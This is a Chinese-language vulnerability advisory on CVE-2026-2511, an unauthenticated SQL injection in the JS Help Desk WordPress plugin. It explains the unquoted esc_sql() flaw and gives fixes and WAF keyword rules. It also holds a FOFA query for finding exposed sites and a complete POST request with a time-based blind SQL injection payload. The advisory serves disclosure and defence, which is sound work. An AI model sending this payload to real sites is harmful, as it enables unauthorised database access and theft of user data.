基本信息

项目 详情
漏洞编号 CVE-2026-2511
插件名称 JS Help Desk – AI-Powered Support & Ticketing System
fofa "wp-content/plugins/js-support-ticket"
受影响版本 <= 3.0.4
补丁版本 3.0.5
CVSS 3.1 7.5(高危)
漏洞类型 SQL注入(SQL Injection)
利用难度 低(无需认证)
危害等级 高危

漏洞概述

JS Help Desk 是一款功能强大的 WordPress 客服工单系统插件,支持 AI 驱动的支持、多表单、自定义字段和邮件通知等功能。该插件在 3.0.4 及之前版本中存在一处 SQL 注入漏洞,攻击者可以通过构造恶意的 multiformid 参数,在无需认证的情况下执行任意 SQL 语句,从而窃取数据库敏感信息、篡改数据或完全控制数据库。


漏洞成因

根本原因分析

该漏洞的根本原因在于插件开发者在处理用户输入的 multiformid 参数时,虽然使用了 esc_sql() 函数进行转义,但未将转义后的值用单引号包裹在 SQL 查询中esc_sql() 主要针对包含引号的字符串进行转义,当 payload 中不包含任何引号字符时,转义将完全失效,导致 SQL 注入。

1. 漏洞入口

modules/ticket/controller.php 文件中,saveticket() 方法接收前端提交的 POST 数据,并直接将其传递给 storeTickets() 方法:

static function saveticket() {
    $jsst_id = JSSTrequest::getVar('id');
    $jsst_nonce = JSSTrequest::getVar('_wpnonce');
    if (! wp_verify_nonce( $jsst_nonce, 'save-ticket-'.$jsst_id) ) {
        die( 'Security check Failed' );
    }
    $jsst_data = JSSTrequest::get('post');
    $jsst_result = JSSTincluder::getJSModel('ticket')->storeTickets($jsst_data);
    // ...
}
2. 不安全的参数传递

modules/ticket/model.phpstoreTickets() 方法中,multiformid 被直接传递给 fieldordering 模型:

// 第 1178 行
$jsst_isRequired = JSSTincluder::getJSmodel('fieldordering')->checkIsFieldRequired('issuesummary',$jsst_data['multiformid']);

// 第 1193 行
$jsst_userfield = JSSTincluder::getJSModel('fieldordering')->getUserfieldsfor(1,$jsst_data['multiformid']);
3. 有缺陷的 SQL 拼接

modules/fieldordering/model.php 中,以下两个函数直接将 esc_sql() 的返回值拼接到 SQL 中,且未使用单引号包裹

checkIsFieldRequired() 函数(第 181 行):

$jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  1 AND  field =  '".esc_sql($jsst_field)."' AND multiformid =  " . esc_sql($jsst_formid);
//无单引号包裹

getUserfieldsfor() 函数(第 996 行):

$jsst_inquery = " AND multiformid = ".esc_sql($jsst_multiformid);
//无单引号包裹
4. 为什么 esc_sql() 无效

esc_sql() 的核心作用是转义引号字符(如 '")。当 multiformid 的值是一个不包含任何引号的 payload 时,例如:

1 AND (SELECT 1337 FROM (SELECT(SLEEP(6)))a)

esc_sql() 不会对其进行任何有效过滤,该 payload 会被直接拼接到 SQL 语句中执行。


漏洞影响

1. 数据泄露风险

攻击者可以:

  • 获取 WordPress 所有用户的用户名、密码哈希、邮箱地址
  • 读取数据库中的敏感配置信息
  • 导出整个数据库内容

2. 数据篡改风险

攻击者可以:

  • 修改管理员密码,接管网站
  • 篡改工单内容,插入恶意代码
  • 删除或损坏重要数据

3. 服务器沦陷风险

在特定条件下,攻击者可以:

  • 通过 SQL 注入获取服务器 shell
  • 在服务器上执行任意命令
  • 完全控制目标服务器

漏洞复现

受影响端点

端点 方法 认证要求
/wp-admin/admin-ajax.phpform_request=jssupportticket POST 无需认证

复现步骤

验证漏洞存在(时间盲注)

在创建工单的请求中,将 multiformid 参数替换为以下 payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

action=jssupportticket_ajax&jssupportticketpageid=1&form_request=jssupportticket&_wpnonce=NONCE_VALUE&id=&subject=nucleitest&email=nuclei@test.com&jsticket_message=test&message=test&multiformid=1 AND (SELECT 1337 FROM (SELECT(SLEEP(6)))a)&uid=0

如果服务器响应时间延迟约 6 秒,则证明存在 SQL 注入漏洞。


修复建议

1. 立即升级

强烈建议所有用户立即升级到 3.0.5 或更高版本,官方已在该版本中修复了此漏洞。

2. 临时缓解措施(无法立即升级时)

如果暂时无法升级,可以通过以下方式缓解风险:

方法1:使用 WAF 规则拦截

在 Web 应用防火墙(WAF)中添加规则,拦截包含 SQL 关键字的请求:

- 监控路径:/wp-admin/admin-ajax.php(包含 form_request=jssupportticket)
- 拦截关键词:UNION、SELECT、INSERT、UPDATE、DELETE、DROP、SLEEP、BENCHMARK
- 拦截特殊字符:分号、注释符(--、/*、*/)
方法2:代码层面临时修复

modules/fieldordering/model.php 中,为 esc_sql() 的返回值添加单引号包裹,或强制将参数转换为整数:

// 临时修复方案1:添加单引号
$jsst_inquery = " AND multiformid = '" . esc_sql($jsst_multiformid) . "'";

// 临时修复方案2:强制类型转换(推荐,因为 multiformid 应为整数)
$jsst_multiformid = intval($jsst_multiformid);
$jsst_inquery = " AND multiformid = " . $jsst_multiformid;

3. 代码修复方案

正确的修复方式应该是使用预处理语句或严格的类型校验:

function checkIsFieldRequired($jsst_field, $jsst_formid = '') {
    if (!isset($jsst_formid) || $jsst_formid == '') {
        $jsst_formid = JSSTincluder::getJSmodel('ticket')->getDefaultMultiFormId();
    }
    
    // 强制转换为整数
    $jsst_formid = intval($jsst_formid);
    
    // ... 后续查询逻辑
    $jsst_query = $wpdb->prepare(
        "SELECT required FROM `%sjs_ticket_fieldsordering` WHERE %s AND fieldfor = 1 AND field = %s AND multiformid = %d",
        jssupportticket::$_db->prefix,
        $jsst_published,
        $jsst_field,
        $jsst_formid
    );
    $jsst_required = jssupportticket::$_db->get_var($jsst_query);
    return $jsst_required;
}

免责声明

本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为,请遵守相关法律法规。使用本报告中的信息所造成的任何后果,与报告作者无关。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐